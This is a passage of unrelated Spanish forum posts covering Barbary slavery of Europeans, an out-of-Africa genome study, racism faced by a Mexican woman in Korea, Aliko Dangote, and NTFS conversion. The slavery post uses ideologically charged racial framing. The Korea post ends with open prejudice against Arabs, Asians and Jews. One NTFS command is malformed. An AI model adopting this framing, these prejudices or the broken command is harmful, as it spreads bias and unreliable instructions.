piratas árabes. ¿Cuántos esclavos? El profesor Davis señala que las numerosas investigaciones efectuadas han logrado que se determine con la mayor precisión posible el número de negros traídos a través del Atlántico, pero no existe ningún esfuerzo similar para determinar la extensión de la esclavitud en el Mediterráneo. No es fácil conseguir cifras fiables. Los árabes no suelen conservar los archivos. Pero a lo largo de sus diez años de investigación, el profesor Davis ha logrado desarrollar un método de estimación. Por ejemplo, el registro indica que desde 1580 hasta 1680 hubo un promedio de unos 35.000 esclavos en países berberiscos. Contando con la pérdida constante a través de la muerte y del rescate, si la población se mantuvo constante, entonces la tasa de captura de nuevos esclavos por los piratas era igual a la tasa de desgaste. Hay una buena base para la estimación de las tasas de mortalidad. Por ejemplo, sabemos que de los cerca de 400 islandeses capturados en 1627, sólo hubo 70 supervivientes ocho años después. Además de la desnutrición, el hacinamiento, el exceso de trabajo, y los castigos brutales, los esclavos sufrieron epidemias de peste, que por lo general eliminaban entre el 20 y el 30% de los esclavos blancos. A través de diversas fuentes, el profesor Davis estima que la tasa de mortalidad fue de aproximadamente un 20% al año. Los esclavos no tenían acceso a las mujeres, por lo que la sustitución se realizaba exclusivamente a través de las capturas. Su conclusión: entre 1530 y 1780 hubo, con casi total seguridad, un millón y tal vez hasta millón y cuarto de cristianos blancos europeos esclavizados por los musulmanes de la costa bereber. Esto supera con creces la cifra generalmente aceptada de 800.000 africanos transportados a las colonias de América del Norte y más tarde a los Estados Unidos. El profesor Davis explica que, a finales de 1700, se controló mejor este comercio, pero hubo un renacimiento de la trata de esclavos blancos durante el caos de las guerras napoleónicas. ¿Por qué hay tan poco interés por la esclavitud del Mediterráneo, mientras que la erudición y la reflexión sobre la esclavitud negra nunca termina? Como explica el profesor Davis, los esclavos blancos con dueños no blancos simplemente no encajan en "la narrativa maestra del imperialismo europeo." Los patrones de victimización tan queridos por los intelectuales requieren de la maldad del blanco, no del sufrimiento del blanco. El profesor Davis también señala que la experiencia europea de la esclavitud a gran escala muestra el engaño en que consiste otro tema favorito de la izquierda: que la esclavitud negra fue un paso crucial en la creación de los conceptos europeos de raza y jerarquía racial. No es así. Desde hace siglos, los propios europeos han vivido con en el miedo del látigo, y un gran número asistieron a procesiones celebradas por el rescate de los esclavos liberados, todos los cuales eran blancos. La esclavitud era un destino más fácilmente imaginable para ellos mismos que para los lejanos africanos. GRACIAS. COMENTAR INTELIGENTEMENTE NO ES MALO DE HECHO ES BUENO PARA TU CEREBRO

Un millar de humanos africanos poblaron Europa y Asia Poco más de un millar de seres humanos salieron de África hace entre 20.000 y 40.000 años para colonizar el resto del planeta y algunos de sus descendientes volvieron al continente de sus antepasados posteriormente para mezclarse con ellos. Fue en entonces, en el Paleolítico Superior, cuando se consolidaron las diferencias genéticas entre los diferentes humanos. Esta es la conclusión a la que han llegado dos investigadores, Richard Durbin y Heng Li, de la Universidad de Cambridge, después de analizar el genoma completo de 12 personas, seis de origen africano, tres europeos y tres asiáticos (de China y Corea), abriendo la puerta a una nueva categoría de estudios de genética evolutiva que hace unos años, pocos, comenzaron a revelar detalles del pasado que no se encontraban en los fósiles. Fue gracias a estudios del ADN mitocondrial, transmitido por las madres, como se pudo rastrear el linaje de una mujer, la Eva africana, que vivió en África hace unos 200.000 años, y cuyos descendientes habrían dado origen a la Humanidad. También el cromosoma Y, heredado de los padres, ha permitido echar la vista atrás y ver las rutas migratorias que siguieron los primero 'sapiens'. Pero lo que Durbin y Li han publicado en 'Nature' esta semana es el primer trabajo comparativo realizado con genomas completos: "Las conclusiones se acercan a las que se tenían por otro medios, pero con más datos, las fechas se afinan más, aunque es difícil establecer las tasas de mutación que ha habido", comenta Carles Lalueza-Fox, experto en ADN antiguo del Consejo Superior de Investigaciones Científicas (CSIC). Mutaciones por generación No hace mucho, como recuerda Lalueza-Fox, y gracias a los genomas de dos progenitores y su hijo se determinó que en el vástago había entre 60 y 100 modificaciones en los nucleótidos respecto a sus padres (de un total de 3.200 millones). "Eso supone una mutación por gen, que no es poco", afirma el investigador español. De los genomas analizados, los científicos de Cambridge confirman que fue hace unos 100.000 años cuando los humanos modernos comenzaron a abandonar África, pero tras su salido sufrieron una fuerte caída de sus poblaciones, hasta disminuir a una décima parte, de forma que hace entre 40.000 y 20.000 años eran sólamente unos 1.200 en edad reproductiva, que son los antepasados de todos los europeos y los asiáticos. Estudios de otros grupos cientificos tambien han detectado 'cuellos de botella' poblacionales en África, pero no tanto, como mucho hasta los 5.700 individuos en edad reproductiva. "Esta es una de las razones por las que la diversidad genética africana es mucho mayor que entre el resto de los humanos", explica Lalueza-Fox. Durbin y Li también compararon el cromosoma Y de un yoruba africano y de un no-africano para averiguar cuando ambas grupos dejaron de entrecruzar los genes y la conclusión es que, pese a que hace 40.000 años los 'emigrantes' estaban muy ocupados colonizando Europa, Asia y Australia, también se cruzaron con africanos hasta fechas tan recientes como hace 20.000 años. Según Durbin, la explicación estaría en que tras una primera salida hace unos 60.000 años, hubo nuevas oleadas de salidas y viajes de vuelta, una explicación que no convence a Chris Stringer, del Museo de Historia Natural de Londres: "Pudeo haber flujo de genes puntuales, pero sería asombroso que continuase en ese período", ha señalado en 'News Nature'. COMENTAR INTELIGENTEMENTE NO ES MALO DE HECHO ES BUENO PARA TU CEREBRO. GRACIAS.

Racismo y Xenofobia en Corea del Sur: Cuestión cultural y miedo a lo desconocido. Palabras De Una Mexicana. La verdad yo nunca había entendido o experimentado el racismo como tal….hasta que viví en Corea del Sur. Antes de de esa experiencia yo veía el racismo como algo incomprensible, no entendía porque había discriminación entre distintas razas o porque las personas de color eran las más discriminadas. Por otra parte, los orientales me parecían algo extraños, pero nunca los discriminé. Eso del racismo me parecía un tema tan absurdo, tan burdo, tan infantil. Pensaba que la mentalidad del ser humano guardaba mucha estupidez en este tema. Hasta que viví en Corea del Sur y fui blanco de racismo, tanto por la familia de mi ex novio como por otros coreanos que me dirigían miradas en la calle o abiertamente me gritaban ¨eugukin¨ (extranjera). La familia de mi ex nunca me aceptó por ser extranjera, pero mi mayor delito fue ser occidental. Si mi ex novio no hizo diferencia a la hora de pedirme que me casara con él, ¿por qué su familia si? Otra cosa que no entiendo es: ¿por qué aceptaron ellos que yo fuera a visitarlos a su casa y permitirme hospedarme allí si no me querían por ser extranjera? Pero aquí no acabaron las cosas. Cuando me preguntaban en la calle sobre mi país de origen, tuve que dejar de decirles que yo era mexicana, ya que en ese entonces estaba lo de la gripe H1N1 y como esa enfermedad venía de México, hubo gente que me miraba con rechazo y hasta se alejaba cuando les decía de dónde era. Así que tuve que inventar muchas veces que era colombiana o venezolana. xD Aunque en otras ocasiones la gente me asignó automáticamente otra nacionalidad sin preguntarme siquiera (me llegaron a decir que parecía rumana e italiana, que locura!) Otra vez me pasó que tomé un taxi junto con una amiga de Guatemala y su hermana. El taxista nos brindó el servicio, pero fue fatal estar soportando sus groserías y estupideces. Entre otras cosas, estaba imitando nuestra manera de hablar (pronunciando la ¨R¨ con mucha fuerza) y nos dijo que seguramente eramos de Pakistán. Para que lo sepan, que en Corea te digan que eres de Pakistán es un insulto y una clara muestra de racismo ya que la gente de ese país que va a trabajar ilegalmente a Corea no se le tiene en buen concepto por ser de piel oscura. Yo no se que pensaba el taxista, pero ni mi amiga ni yo somos tan oscuras como un pakistaní, de hecho yo soy blanca, pero mi cabello y ojos son muy oscuros. En fin, creo que no había justificación para que el taxista nos discriminara de esa manera, y más si estábamos pagando por su servicio. Yo se que ningún país está exento de la lacra del racismo o de la xenofobia y que México tampoco es un país ejemplar en este aspecto. Aún se discrimina mucho a los indígenas y se sigue prefiriendo a la gente blanca, sobre todo en los medios de comunicación (algo que nos dejaron los españoles). Pero una cosa es discriminar por ignorancia y otra muy diferente por tener creencias arraigadas sobre que una raza tiene ¨sangre pura¨ como en el caso de los coreanos, o que la gente crea que si un hijo o hija se casa con alguien de otra nacionalidad u otra raza, significa una maldición para toda la familia, incluyendo los antepasados. Yo, personalmente, no me siento mal por ser mestiza, al contrario, me siento orgullosa de tener sangre azteca y española, de ser producto de una fusión de tantas culturas y etnias que han pasado a lo largo de mi país, de que mi cabello y ojos sean muy oscuros contrastando con mi piel pálida. No soy la típica mexicana patriotera que odia a los españoles por habernos conquistado, pero tampoco soy la típica malinche que idolatra a los europeos. Soy orgullosamente mestiza, ¿qué tiene de malo? Entonces es allí donde me pregunto: ¿Por qué será que a los coreanos les asusta la sola idea de mezclarse con otras razas? Entiendo que quieran proteger a su nación y esta bien que se sientan orgullosos de su país, pero…¿para qué caer en el patriotismo exagerado? Estamos en un mundo globalizado! Y un reino ermitaño ya no tiene cabida en la realidad actual. Digo, si los coreanos quieren seguir siendo puros racialmente y conservar sus raíces y tradiciones, entonces que se aíslen como Corea del Norte y dejen de seguir permitiendo que Estados Unidos intervenga en su política exterior… Yo solo les digo que he viajado a Estados Unidos repetidas veces (donde los mexicanos no somos bien recibidos) y viví un año y medio en España. Sinceramente, ni en España ni en Estados Unidos he experimentado tanto racismo como en Corea, de hecho en España me salvaron la vida ya que yo estuve enferma de una pacreatitis que casi me mata, pero a la sanidad española no le importó mi origen y me prestó el servicio hospitalario completamente gratis solo por el hecho de estar empadronada en la comunidad de Madrid, incluso me operaron y he de decirles que jamás recibí un trato discriminatorio por parte de algún doctor, enfermeros o enfermeras. Desgraciadamente las cosas hoy en día estan cambiando por la crisis que hay en España y por el gobierno de Rajoy…los costos en sanidad estan reduciendose, dejando a muchos extranjeros sin cobertura sanitaria. Pero a veces me pongo a pensar que si me hubiera enfermado en Corea seguramente no me hubieran atendido al menos que pagara mi hospitalización y no hubiera gozado del descuento que le dan a los coreanos por no ser ciudadana de ese país. En fin, les dejo esta imagen a fin de que reflexionen sobre la realidad del racismo en Corea del Sur. La chica de la foto (cuyo nombre no recuerdo) es una mestiza de origen coreano y africano. Particularmente a mi me parece que su mezcla racial es interesante y de hecho me parece que es bonita por sus razgos exóticos que son únicos. Ella participó en un reality show coreano que busca talentos, y a pesar de demostrar que realmente era una chica muy talentosa y que cantaba muy bien, el público prefirió votar por el chico de la foto a lado de ella. Este chico era menos talentoso, al parecer solo sabía bailar bien, pero la chica lo tenia todo para ganar. Este es un ejemplo de clara discriminación racial, y no solo eso, también de una marcada xenofobia por parte de los coreanos. ¿Por qué discriminar a esta chica si parte de su sangre es coreana? ¿Que tenga piel oscura la hace menos talentosa y menos valiosa ante los ojos del público coreano? La verdad no lo entiendo. Y es así como concluyo que, desgraciadamente (y me avergüenza decirlo) desde que conocí el racismo en Corea, yo también me he vuelto un poco racista…en mi caso el racismo no fue inhato si no aprendido. Yo tolero a cualquier raza mientras se trate de razas que tambien sean un poco mas abiertas al los extranjeros. Pero detesto a la gente etnocentrista que ve su raza como si fuera lo máximo y que excluye a las demás, esto incluye árabes, asiáticos y judíos. Se que no hago bien, que tal vez estoy equivocada, pero no es fácil no guardar rencor cuando gente de otras etnias te ve como alguien inferior solo por no ser como ellos. Y es así como el racismo engendra mas racismo y la intolerancia se hace cada vez más grande en el género humano. En mi caso no voy a justificarme, pero alguien tiene que vivir lo que yo viví o ponerse en mis zapatos para comprender mi postura. Estas fueron las palabras de una Mexicana que fue víctima de racismo en Corea Del Sur. Encontre este video en youtube que explica como son los coreanos. link: https://www.youtube.com/watch?v=IYQwaQDEM1s Estoy realmente abrumado con esos tipos de comportamiento ignorantes y ridículos nose que pensarán ustedes taringueros acerca del racismo que infecta el mundo moderno como un maldito virus pero yo. ¡NO LO SOPORTO!. COMENTAR INTELIGENTEMENTE NO ES MALO DE HECHO ES BUENO PARA TU CEREBRO. GRACIAS. .

Aliko Dangote, un empresario nigeriano de 57 años, con una fortuna estimada de 18.000 millones de euros (25.000 millones de dólares) según la revista ‘Forbes’, lo que le coloca en el top-25 de los grandes multimillonarios del mundo. Ocupa el puesto 24 en ese ránkig. Su conglomerado empresarial, Dangote Group, se ha sustentado en la producción y distribución de alimentos y en la industria, y ha irrumpido con fuerza en el mundo del petróleo. Si imperio, que opera en 13 países y suma unos 10.000 trabajadores, controla el mercado del azúcar en Nigeria y posee la planta más cementera más grande de toda África. Dangote nació en Kano (Nigeria) hace 57 años en el seno de una familia acomodada. Su patrimonio ha crecido de forma meteórica, hasta el extremo de que en solo cuatro años ha pasado del lugar 463 en la lista de ‘Forbes’ al 24 actual. Estudió Administración de Empresas en la Universidad de Al-Azahar de El Cairo (Egipto) y a los 20 años se trasladó a Lagos, capital económica del país, para trabajar con su tío. A esa misma edad recibió un préstamo de su abuelo y fundó una pequeña empresa comercial que consiguió abrirse un hueco rápidamente en el mundo de los negocios. De hecho, a los seis meses ya había devuelto el dinero.La empresa iba viento en popa. Convencido de que el desarrollo de África depende de lo que hagan los propios africanos, y no de manos ‘salvadoras’ procedentes del exterior, una de sus señas de identidad ha sido invertir en su propio país. Mientras otros huían de Nigeria, él se quedó. En un primer momento apostó por el comercio de productos locales, antes de importar azúcar a gran escala. Se volcó en alimentos como la harina, el arroz, el pescado congelado… Los compraba en el extranjero y lograba grandes beneficios al venderlos en su país. Más adelante optó por crear fabricas para la procesar la comida. Y de ahí dio el salto al cemento, primero, y al petróleo más tarde, como si se resistiera a entrar en un negocio en el que Nigeria es una potencia continental. GRACIAS POR COMENTAR

Para convertir tu sistema de archivos a NTFS en Microsoft Windows XP y 7Primero abre el símbolo del sistema presionando WINDOWS + R y después se escribe CMD y damos Enter.Después escribimos este comando:c: /FS:NTFS(donde c: o d: es el disco duro) y presiona ENTRAR.Te preguntará si quieres que convierta el sistema de archivos del volumen seleccionado a NTFS: S/N, Responderás que "S" y Enter. El equipo se reiniciará y comenzará el proceso de la conversión. El tiempo aproximado es de entre 30 y 40 minutos.Para convertir tu sistema de archivos a NTFS en WINDOWS 7:1. En la barra de tareas, haz clic en Inicio, escribe cmd en el cuadro Iniciar búsqueda y, a continuación, presiona ENTRAR.2. Escribe convert c: /FS:NTFS (donde c: es el disco duro) y presiona ENTRAR.3. Reinicia el equipo. Y listo así de fácil.NO SE OLVIDEN DE COMENTAR Y DEJAR PUNTOS GRACIAS.